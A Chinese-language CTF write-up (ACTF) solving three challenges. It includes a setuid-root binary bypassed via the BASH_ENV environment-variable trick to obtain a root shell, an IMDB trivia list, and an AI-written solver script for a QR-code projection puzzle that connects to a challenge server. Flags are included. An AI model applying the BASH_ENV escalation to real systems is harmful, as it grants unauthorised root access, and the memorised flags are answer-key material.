int __cdecl main(int argc, const char **argv, const char **envp) {   char v4; // [rsp+Fh] [rbp-1h] BYREF    setuid(0);   setgid(0);   v4 = 110;   printf("Are you Tomoya?\ny/n:\n> ");   __isoc99_scanf("%c", &v4);   if ( getenv("LD_PRELOAD") )     unsetenv("LD_PRELOAD");   if ( getenv("LD_LIBRARY_PATH") )     unsetenv("LD_LIBRARY_PATH");   if ( getenv("LD_AUDIT") )     unsetenv("LD_AUDIT");   if ( getenv("LD_DEBUG") )     unsetenv("LD_DEBUG");   if ( getenv("LIBRARY_PATH") )     unsetenv("LIBRARY_PATH");   setenv("PATH", "/bin", 1);   if ( v4 == 121 )   {     system("echo 'Hello!'");   }   else if ( v4 == 110 )   {     system("bash -c \"echo 'Who are you?'\"");   }   else   {     printf("emm? ...");   }   return 0; }

清除了 LD_PRELOAD 等一堆东西,重置了 PATH 环境为/bin

用 BASH_ENV

1
2
3
4
5
6
7
KatoMegumi@00a6d3960137:~$ echo '/bin/bash'>1
KatoMegumi@00a6d3960137:~$ chmod +x 1
KatoMegumi@00a6d3960137:~$ export BASH_ENV=~/1
KatoMegumi@00a6d3960137:~$ /opt/hello
Are you Tomoya?
y/n:
> n

https://blog.csdn.net/m0_68636078/article/details/142423736

Movie master

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
tt0017136
tt8893624
tt0109946
tt17526714
tt31309480
tt34382036
tt8503618
tt0368226
tt0103767
tt0110912

tt0109688
tt26471411
tt0043306
tt5004766

ACTF{IMDBMASTER_uw@tcHed@L0toFmoV1e|tt0118694}

QRCode

先尝试让 AI 用他的思路去写解题代码,搞不出来,不是生成的 1 数量超标就是直接投影出问题,像下面这样,就是差那么一点,没法识别

<strong>这时候就需要人工介入了,然后这个题目的关键就是满足投影能被识别的前提下有尽可能少的 1,那么我就可以先满足识别的要求,然后再去考虑每一个位置删掉这个 1 会不会影响识别,然后往下降 1 的数量 </strong>

<strong>最后就是 AI 生成解题脚本,deepseek🐂,脚本一字没动 </strong>

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import qrcode
from pwn import *
import hashlib
import itertools
import string
import random

def generate_qr_matrix(content):
    """生成21x21的QR码布尔矩阵"""
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=1,
        border=0
    )
    qr.add_data(content)
    qr.make(fit=True)
    img = qr.make_image(fill_color="black", back_color="white")
    return [[img.getpixel((x, y)) == 0 for y in range(21)] for x in range(21)]

def build_initial_data(front, left, top):
    """构建满足投影约束的初始三维数组"""
    ## 初始化全1三维数组
    data = [[[True for _ in range(21)] for _ in range(21)] for _ in range(21)]
  
    ## 应用投影0约束
    for x in range(21):
        for y in range(21):
            if not front[x][y]:
                for z in range(21):
                    data[x][y][z] = False

    for y in range(21):
        for z in range(21):
            if not left[y][z]:
                for x in range(21):
                    data[x][y][z] = False

    for x in range(21):
        for z in range(21):
            if not top[x][z]:
                for y in range(21):
                    data[x][y][z] = False

    ## 确保投影1区域至少存在一个1
    for x in range(21):
        for y in range(21):
            if front[x][y] and not any(data[x][y]):
                z = random.randint(0, 20)
                data[x][y][z] = True

    for y in range(21):
        for z in range(21):
            if left[y][z] and not any(data[x][y][z] for x in range(21)):
                x = random.randint(0, 20)
                data[x][y][z] = True

    for x in range(21):
        for z in range(21):
            if top[x][z] and not any(data[x][y][z] for y in range(21)):
                y = random.randint(0, 20)
                data[x][y][z] = True

    return data

def optimize_data(data):
    """优化数据减少1的数量"""
    ## 获取所有1的位置并随机排序
    candidates = [(x,y,z) for x,y,z in itertools.product(range(21), repeat=3) if data[x][y][z]]
    random.shuffle(candidates)
  
    for x,y,z in candidates:
        ## 临时移除当前点
        data[x][y][z] = False
    
        ## 检查三个投影是否仍然有效
        front_valid = any(data[x][y])          ## 前视图验证
        left_valid = any(data[xx][y][z] for xx in range(21))  ## 左视图验证
        top_valid = any(data[x][yy][z] for yy in range(21))   ## 顶视图验证
    
        ## 如果任一投影失效则恢复
        if not (front_valid and left_valid and top_valid):
            data[x][y][z] = True
        
    return data

def solve_pow(suffix, target):
    """解决Proof of Work"""
    charset = string.ascii_letters + string.digits
    for prefix in itertools.product(charset, repeat=4):
        prefix = ''.join(prefix)
        if hashlib.sha256(f"{prefix}{suffix}".encode()).hexdigest() == target:
            return prefix
    return None

def main():
    ## 生成目标QR码
    front = generate_qr_matrix("Azure")
    left = generate_qr_matrix("Assassin")
    top = generate_qr_matrix("Alliance")
  
    ## 构建三维数据结构
    data = build_initial_data(front, left, top)
  
    ## 执行优化操作(多轮次优化)
    for _ in range(3):
        data = optimize_data(data)
  
    ## 生成输入字符串
    input_str = ''.join('1' if data[x][y][z] else '0' 
                      for z in range(21) 
                      for y in range(21) 
                      for x in range(21))
  
    ## 验证输入有效性
    assert len(input_str) == 21**3, "长度校验失败"
    assert input_str.count('1') < 390, f"1的数量超标:{input_str.count('1')}"
    assert all(c in '01' for c in input_str), "包含非法字符"
  
    ## 网络交互流程
    r = remote('1.95.71.197', 9999)
  
    ## 处理Proof of Work
    challenge = r.recvline().decode().strip()
    suffix = challenge.split('+')[1].split(')')[0]
    target_hash = challenge.split('== ')[1]
    prefix = solve_pow(suffix, target_hash)
    r.sendlineafter('XXXX:', prefix)
  
    ## 提交数据
    r.sendlineafter('data:', input_str)
    print(r.recvall().decode())

if __name__ == "__main__":
    main()

ACTF{QQQRCode_is_iiint3r3st1ng}

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计